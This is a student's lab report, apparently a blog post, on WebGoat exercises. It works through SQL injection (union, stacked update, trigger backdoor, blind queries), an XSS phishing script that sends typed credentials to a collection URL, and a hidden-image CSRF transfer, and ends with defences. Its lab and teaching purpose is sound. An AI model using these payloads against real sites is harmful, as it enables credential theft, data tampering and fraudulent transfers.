Exp9 Web安全基礎

exp9 Web安全基礎

0x0 環境說明

終於來到Web安全這一方向了，這也是課程的最後一次實驗。

我還只是個Web安全的小白，對這一領域不瞭解。我但願經過此次實驗，學習Web安全中基本的漏洞點，以及基本的漏洞利用技巧，增長了解。

固然，基礎知識必定要補齊，之後學習過程當中應該缺啥補啥。

• 訓練環境：OWASP WebGoat project 8.0
• 8.0版本的WebGoat更像是一個teaching platform，而不是hacking platform
• 暫時只完成教學部分，challenge部分的CTF須要有實力之後再去完成。

0x1 基本技能——HTTP和HTML基礎

WebGoat 8.0教學的第一部分就是學習HTTP協議，已經設置HTTP代理，修改HTTP數據包。

固然啦，做爲OWASP項目，使用的工具是OWASP ZAP這個開源掃描器。

首先設置HTTP代理服務器的端口

而後再瀏覽器中配置HTTP代理，這裏我用的是firefox

必定要注意，把localhost和127.0.0.1

練習——修改HTTP數據包

WebGoat有一個修改過HTTP數據包的練習，要求是：

• 將方法設置爲GET
• 添加頭部字段'x-request-intercepted:true'
• 將輸入值'changeMe'改成'Requests are tampered easily' (沒有單引號)

點擊ZAP的綠色小圓鈕攔截請求，而後咱們按要求修改、發送便可。

注意，將POST方法給爲GET方法時，參數就不在HTTP數據包中了，而是變成了URL參數。

練習——繞過2FA（雙因素認證）

WebGoat中提供了這樣一個練習，咱們要重置password，須要回答密保問題。

可是咱們不知道要問題的答案，咱們經過ZAP修改HTTP請求包欺騙系統，從而重置password

隨便在表單中輸入數據，而後用ZAP把HTTP請求截獲下來。

一開始我不管怎麼修改，都沒辦法經過驗證。後來我在YouTube上看到了解決方法

把secQuestion0該爲secQuestion00，把secQuestion1改成secQuestion01，而後提交就能夠了。

爲啥這樣就能成功呢？我到如今也沒弄明白。

練習——不安全的登陸（Insecure Login）

webgoat中的這個教程是告訴咱們傳輸未加密的敏感信息是很是危險的。

練習題的要求就是嗅探提交數據，獲得用戶名和password。

咱們用ZAP直接查看HTTP請求包就能夠發現username和password了。

提交上面的數據就完成了這個練習。

練習——客戶端缺陷（Client side filtering）

這個練習告訴咱們向客戶端發送過多的信息會致使嚴重的 訪問控制問題

咱們在這個練習中的目標是獲取更高權限才能得到的信息。

該練習的要求是拿到CEO的薪水信息，CEO的名字是Nevile Bartholomew。

以個人權限是沒法在頁面看到CEO的信息的。

可是HTML源碼卻泄露了CEO的信息。

咱們輕鬆拿到了該練習的答案——CEO的薪水爲450000

這道題仍是至關簡單的。

練習——繞過前端限制（Bypass front-end restrictions）

用戶可以輕易的控制前端，好比修改HTML或者腳本，所以這就是爲何服務端要驗證Web應用的輸入。

WebGoat中的一個練習就要求咱們繞過表單的限制。

咱們要作的

• select下拉列表應該選擇所有的兩個選項
• 單選框radio要兩個選項都選擇到
• checkbox複選框兩種狀態都要有
• 繞過輸入表單長度限制

既然有ZAP在手，直接修改HTTP請求便可

經過HTTP代理修改請求包後再發送，咱們成功完成這個練習

練習——HTML篡改（HTML tampering）

WebGoat給出的另外一個練習是這樣的：

咱們的目標是以儘可能低的價格購買電視機。

這道題主要是展現客戶端的不可信的。咱們直接查看HTML源碼，看看這個表單是啥樣子的。

咱們發現了一個隱藏域，看起來服務器是接收這個隱藏域來肯定價格的（真是太亂來了……）

隨便修改這個隱藏域中的數字，乾脆弄成「0」吧。ZAP中也看到了這個HTTP請求。

不錯，簡單修改HTML就完成了這個練習的要求。

其實直接用ZAP的代理修改HTTP請求包就能夠了，這和直接篡改HTML是一個效果。

小結

WebGoat給出了這麼多Client Side的練習，就是要告訴咱們一個道理永遠不要信任客戶端的輸入，基本用JavaScript對數據進行篩選，咱們也能夠直接修改HTTP請求包。

服務器端對接收到的數據必定要再次確認和篩選。好比剛纔的「買電視」，服務器必定要再次從本身的數據庫裏查一下電視機的單價，再作一次運算和用戶數據進行比對。

前端瀏覽器的HTML是極易被篡改的，HTTP請求也是能夠被修改的，Web前端的世界是很是脆弱的 。

0x2 課程1——注入漏洞(Injection Flaws)

這部分教學有四項內容，SQL Injection、SQL Injection(advanced)、SQL Injection(mitigations)、XXE

0x31 SQL injection（已完成兩個練習）

先是基本的SQL注入教學，webgoat會介紹string SQL injection（字符串型的SQL注入）和numberirc SQL Injection（數字型SQL注入）

一個成功的SQL注入能夠：

• 讀取和修改數據庫中的敏感數據
• 執行數據庫管理員操做
  • 關閉審計或DBMS
  • 截獲表格和日誌
  • 添加用戶
• 恢復DBMS文件系統中給定文件的內容
• 列出操做系統的指令

SQL注入舉例

可能的字符串型注入有：

"select * from users where name ='" + userName + "'";

可能的字符型注入有：

"select * from users where employee_id = "  + userID;

攻擊者能夠提供的輸入有

• userName = Smith' or '1' = '1
• userName = ' or 1=1 --
• userID = 1234567 or 1=1
• UserName = Smith'; drop tables users; truncate audit_log

Web應用程序會執行

• select * from users where name='Smith' or '1'='1'
  • select * from users where name='Smith' or TRUE
• select * from users where employee_id = 1234567 or 1=1

這樣，全部的記錄會從數據庫中返回

練習1——String SQL Injection

直接使用webgoat教程中給出的技巧便可。

練習2——numberic SQL Injection

使用數字型SQL注入的技巧便可。

0x22 SQL Injection(advanced)——進階SQL注入（共兩個練習，完成一個）

接着咱們探索更高級的SQL注入話題。咱們在這裏須要瞭解

• 組合SQL注入技術（Combining SQL Injection Techniques）
• SQL盲注（Blind SQL Injection）

雖然Webgoat中說這些技巧是advanced，但放到如今，也只是基本技術。

你須要知道的特殊字符和特殊語句

Webgoat給出了特殊的字符

/* */ 是內聯註釋（inline comments）
--, # 是行註銷（line comments）

舉例：Select * from users where name = 'admin' -- and pass = 'pass'

; 容許執行多個查詢（query chaining）

舉例：Select * from users; drop table users;

', +, || 容許字符串的
Char() 無引號的字符串

舉例：Select * from users where name = '+char(27) or 1=1

不過，不一樣的數據庫也細微的差異。

一些特殊的語句在SQL注入中也起到關鍵的做用：

• union能夠重疊數據庫的表格,'select id, text from news union all select name, pass from users'
• joins能夠鏈接到其餘的表

練習1——嘗試從其餘表格中獲取數據

Webgoat在這一部分的第一個練習，目的是找到Dave用戶的password。

因爲要用到union查詢，咱們必須知道select語句選擇的列數。

我看別人的博客，好像是要用 order by排序來判斷列數的。

其實在這裏能夠直接輸入' or 1=1 --把表格所有脫出來的，很容易就知道列數了

dave不在這張表格裏，須要用union語句把user_data_system表格顯示出來

咱們構造的字符串是

' union null, username, password, null, null, null, null from user_data_system --

發現了！！dave的password就是dave。

但不知道爲何，完成後WebGoat沒有點亮這個圖標。多是輸入的攻擊字符串不是標準答案吧。

事實上，這個SQL注入點很是脆弱，只要輸入

'; select * from user_daa_system; --

一樣能夠達到相同的效果。

未完成的練習

接下來的題目我尚未作出來，不過做爲一個Web萌新，這是正常的。

這是一道須要綜合SQL注入技術的題目，可能還須要結合SQL盲注，等我研究一下，後面再攻克這個題目。

0x23 SQL Injection(mitigations)——SQL注入的緩解與防護

這一部分介紹了SQL注入的緩解措施。

好比：不可變的查詢語句、靜態查詢語句、參數化語句、存儲過程等。

並且給出了許多例子，有興趣的同窗本身在WebGoat 8.0上瀏覽便可。

webgoat在這一部分只有一道習題。

這裏WebGoat給出的提示是經過order by，找到webgoat-prd服務器的IP地址。

並且這裏的表單並非一個脆弱的SQL注入點。

YouTube上的一個視頻展現了這道題的作法，這道題應該是截獲HTTP響應包，而後進行修改。

？？？？我沒有明白這道題在這一模塊的做用是啥。由於只要輸入表單上存在的IP地址，WebGoat都會提示你經過了。

如今咱們看到表單中出現了webgoat-prd了。

暫時就當這道題是這麼作的吧，雖然和SQL注入技巧關係不大，不過好歹也學會了修改HTTP響應中的JSON數據了。

咱們在實踐中，應該注意最小權限原則，尤爲是要在數據庫鏈接池中注意讀寫權限的分配。

小結

在注入漏洞(Injection Flaws)這一教學模塊中，我有一道綜合的SQL注入練習沒有完成。

因爲我對XML不是很瞭解（雖然在java web課程中接觸過），沒有完成XXE部分的教學練習。

若是我想成爲一個技術大牛的話，這些技巧必需要掌握的。

但因爲我們只是玩票的性質，暫時放一放吧。

0x3 課程2——XSS

XSS的能夠分爲三類：反射型、存儲型、基於DOM的XSS。

第一個練習

第一個練習是獲取當前頁面的cookie，這裏須要用chrome或者firefox瀏覽器

新開一個標籤頁，並在地址欄輸入一下內容

javascript:alert("XSS Test");
javascript:alert(document.cookie);

而後比較兩個標籤頁的cookie是否一致。

咱們能夠發現，這兩個標籤頁的cookie都是JSESSIONID=D0913650405F1FEBC6B4457F52193892

練習2——一個反射型XSS

在服務器端檢查用戶的全部輸入是一個好的實踐。反射型XSS中，攻擊者讓用戶「點擊」帶有攻擊腳本的惡意URL。

在這個練習中，要求咱們的攻擊載荷包含<script>alert('my javascript here')</script>

咱們的任務是找到一個哪個表單元素是能夠執行XSS。

隨便選一個輸入框輸入攻擊載荷，在按下UpdateCart按鈕

WebGoat給出了經過的提示，也就是說咱們嘗試的注入點是對的。

（雖然我作這個練習的時候感受莫名其妙……這是啥效果？？？）

練習3——確認一個基於DOM的XSS

基於DOM的XSS是另外一種形式的反射型XSS，它們都是經過連接觸犯並在瀏覽器上做用的。不一樣的是，基於DOM的XSS不會跑的服務器上，它只會在客戶端上執行，攻擊者的惡意代碼以本地帳號的權限執行。

用戶不會知道發生了攻擊行爲……惡意攻擊者不會使用<script>alert('xss')</script>

這個練習裏面，須要尋找一些「測試」代碼（WebGoat使用backbone做爲其主要的JavaScript庫）。 有時候，測試代碼會在生產中遺留下來（一般測試代碼很是簡單，缺少安全性或任何質量控制！）。

你的目標是找到路徑並利用它。這裏須要找到測試代碼的位置。

根據提示，咱們要檢查GoatRouter.js文件，經過firefox瀏覽器的開發者工具就能夠查看。

咱們很輕鬆的發現，Backbone庫中，測試代碼的路徑

而後填寫答案，並提交

下一步應該是進行真正的基於DOM的XSS攻擊。

未完成的練習

webgoat的XSS課程還有兩個練習我沒有完成。

一個就是嘗試基於DOM的XSS攻擊，經過URL執行webgoat.customjs.phoneHome()，而後會獲取一個隨機數，提交這個隨機數後就完成了這個練習。

最後一個練習給出了一個場景，完成的目標和上一題同樣。

我暫時還沒解決這些問題，先放一放。

小結

即使作了XSS部分的三個教學練習，我對XSS仍是一頭霧水。

WebGoat 8.0 給出的提示和教學很是少，還得有必定的基礎才能玩的開心呀。

0x4 課程3——CSRF

CSRF——跨站請求僞造，和會話劫持，點擊劫持同樣，是一種對網站的惡意利用，向網站發出不是用戶本人但卻被網站信任的請求。

CSRF有以下的特徵：

• 它涉及依賴用戶身份的網站
• 它利用該網站對身份的信任
• 它誘騙用戶瀏覽器發送HTTP請求到目標站點
• 它涉及有反作用的HTTP請求

一個Web應用若是是根據受信和通過驗證的用戶輸入來執行操做的話，它就可能面臨CSRF的威脅。一個在本地瀏覽器經過cookie認證的用戶極可能不知不覺的向網站發送HTTP請求，並且用戶還不知道。

練習——Basic Get CSRF（基本的GET請求的CSRF）

WebGoat教程中給出了一個最簡單的CSRF攻擊。 例如，您會收到一封包含如下內容的電子郵件：

<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">查看個人圖片！</a>

若是用戶已經在bank.com的網站保持了登陸狀態，這個簡單的GET請求將把錢從一個帳戶轉移到另外一個帳戶。 固然，在大多數狀況下，網站可能有多個控件來批准請求。

接着，WebGoat給出了一個練習

咱們須要從外部源觸發下面的表單。而後HTTP響應中會包含一個「flag」

提交這個flag就能夠了。

若是在外部觸發，HTTP請求頭部的referer字段就會是外部源的url，WebGoat是經過referer字段來判斷本題是否達到要求的。

耍個小聰明，隨便改一下referer這個HTTP頭部信息，果真拿到了flag。

再提交一下，答案是正確的。

個人猜想沒有錯，果真是經過驗證referer頭部來判斷的。

未完待續

我尚未仔細研究CSRF，這部分就先作一個練習吧。

（雖然這第一個練習我也是靠用代理做弊，改referer經過的，笑）

其餘練習之後再說（或者這這輩子都不會作了）

WebGoat 8.0 學習總結

此次實驗，個人Webgoat的畫風和其餘同窗的有點不同。

因爲WebGoat 8.0是OWASP最新推出的練習項目，網上的資料還不多。

WebGoat 8.0更像是一個教學平臺（teaching platform），而不是一個漏洞平臺（hacking platform）

個人水平有限，暫時只能解決一些比較簡單的題目，等啥時候成爲一條Web老狗，應該能把WebGoat 8.0給刷通關吧。

不過，我在大學生涯裏應該達不到這種高度了。

基礎問題解答

（1）SQL注入攻擊原理，如何防護

• 原理：向Web應用程序輸入一段精心構造的SQL查詢指令，攻擊和利用不完善的輸入驗證機制，使得注入代碼得以執行完成非預期的攻擊操做。
• 防範：輸入過濾、參數化sql語句或直接使用存儲過程、提供更少的錯誤信息

（2）XXS攻擊原理，如何防護

• 原理：因爲Web應用程序的輸入驗證機制不完善，攻擊者在服務器端網頁中插入一些惡意的客戶端代碼，在Web服務器上產生出一些惡意攻擊頁面。
• 防範：輸入驗證、輸出淨化（對HTML標籤進行轉義）、消除危險輸入點。提高客戶端瀏覽器安全性。

（3）CSRF攻擊原理，如何防護

• 原理：攻擊者盜用用戶身份，僞造惡意請求發送給服務器，完成預期操做。
• 防護：經過referer、表單令牌token或驗證碼來檢測用戶提交、避免全站通用的cookie，嚴格設置cookie的域、不用在頁面連接中暴露用戶隱私信息。

實驗新得與體會

課程結束了，而技術之路是沒有止境的。

我在這門課程中玩了後門和木馬、用了各類工具、嘗試了一些漏洞、在虛擬環境裏面各類搗鼓，雖然連腳本小子都算不上，但也體會到了入侵帶來的快感。

不過，就算工具玩得再花，掃描器用的再熟，技術依然是浮於表面的，缺少深刻研究的，離真正的「黑客」還差的很遠。

人的精力是有限的，即使是專業人士，也只是在某些細分領域略有所得。

成爲公務員以後，我應該沒有機會接觸這些技術了。

可是，足夠耐心、樂於鑽研、不斷學習、敢於挑戰、崇尚自由甚至略微叛逆的極客精神，是我獲得的最大精神財富。

補充——WebGoat 7.1 練習

webgoat8.0太新了，網上資料比較少，我給出的題目都太簡單了，不符合實驗要求。
（webgoat題目難度跨度過大，雖然以前的鋪墊式的練習能作，但後面比較關鍵的練習我就沒能力作了）

這裏，我仍是老老實實經過webgoat 7.1學習一些技術，打打基礎。

一些已經和Webgoat 8.0中解題思路和方法類似的練習就不寫在這裏了。

SQL注入——Database Backdoors

階段一

在第一階段，咱們須要利用字符串型的SQL注入，執行多條SQL語句。咱們的任務是將本身的ID爲101的帳號中的salary變得更高。

數據庫的表名employee，各個字段userid,password,ssn,salary,email咱們都是知道的。

直接輸入攻擊payload

101; update employee set salary=1000000 where userid=101;

階段二

在這一階段，咱們須要使用SQL注入植入後門。Webgoat的教程是注入一個觸發器，做爲SQL後門。

觸發器的語法是

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid。

很是惋惜，咱們的數據庫好像不支持觸發器，因此什麼都執行不了

SQL的盲注——Blind Numberic SQL Injection

Webgoat給出了一個布爾型SQL盲注的練習。咱們須要根據頁面的兩個不一樣的狀態，猜想cc_number的值是11112222333334444的帳戶。

能看到的狀態只有兩種：

• Invalid account number.
• Account number is valid.

構造payload爲：

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > [num] );

這裏的num是猜想的數字，若是num過大，咱們看到的狀態就是Invalid account number，若是num太小或者相等，就是Account number is valid

咱們能夠經過二分法找到臨界值。

num的初始值我選擇爲5000

這個數字過大了，接着依次嘗試2500,1250,1875,2186,2343,2421,2382,2363,2372,2368,2366,2365,2364,2363。

咱們找到了零界點，咱們能夠肯定最終答案就是2364了

若是可以寫一個自動化的二分查找腳本就行了，惋惜我不會

不過從這個練習裏面我仍是能夠體會一些SQL盲注的技巧的。

SQL的盲注——Blind String SQL Injection

Webgoat的另外一個SQL盲注的練習，就是字符串型SQL注入。這個練習的目的是找到表格中cc_number爲4321432143214321的name字段。

咱們須要猜想的是一個字符串，須要一個一個字符的進行猜想。

用到的SQL函數是SUBSTRING()（或者SUBSTR()，這和使用的數據庫有關係）

SUBSTR(str, pos, len)表示在str中第pos個位置開始，選出len個字元。

咱們能夠構造這樣的payload：

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [pos], 1) < [char] );

其中，pos表明字符所在的位置，char是字母，依舊使用二分法試探每一個位置的字符。

通過不斷的嘗試，咱們找到了最終答案Jill

仍是同樣的問題，就是SQL盲注的自動化，我暫時還不會使用工具或腳本執行這些操做

XSS練習——Phishing with XSS

這個課程是展現如何經過XSS漏洞進行釣魚攻擊。

咱們的目標是

• 插入一個須要憑證的HTML
• 增長一個JavaScript來收集這些憑證
• 將憑證POST至http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

咱們構造的payload以下（實際上是從其餘人的博客抄的）：

</form>
<script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
 </script>
<form name="phish">
<br><br>
 <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>

直接複製到表單中

而後出現了下面的表單：

最後獲得這樣的結果：

不得不吐槽，這個payload實在太過龐大了。

XSS練習——stored XSS概念驗證

接着咱們完成一個存儲型XSS攻擊的練習。

咱們是使用Tom的帳號在street字段執行一個存儲型XSS攻擊。驗證Jerry受到此攻擊的影響。

而後咱們登陸Jerry的帳號

而後查看Tom Cat的帳號信息。

咱們這就驗證了一個存儲型XSS的效果。

XSS練習——Reflected XSS概念驗證

這個練習展現了反射型XSS的效果。咱們須要驗證使用此惡意連接的另外一個用戶受此攻擊影響。

登陸帳號larry，在searchStaff中輸入<script>alert('Dangerous');</script>

而後，就會出現彈窗。這就是一個反射型的XSS

XSS練習——stored XSS Attacks

接下來咱們模擬一個存儲型的XSS攻擊，建立一個可能讓另外一個用戶加載不指望的頁面的消息。

咱們看到Message List中有剛纔咱們的消息連接，點擊這個消息連接

咱們的JavaScript代碼執行了，這就是一個存儲型的XSS。

固然，真實的XSS攻擊中，攻擊payload更加複雜，並且很是隱蔽。

CSRF練習——CSRF的概念驗證

這個練習中，咱們的目標是向新聞組發送一封email，該email包含一個image，其URL指向一個惡意請求，URL應該指向「attack」servlet，其帶有課程「Screen」和「menu」參數，一個額外參數「"transferFunds」帶有任意數字值諸如5000。

咱們構造的payload是

<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />

咱們把標題設爲CSRF，提交後獲得以下結果

咱們點擊這個連接，而且抓包修改一下參數，添加&transferFunds=5000。

接着完成這個練習。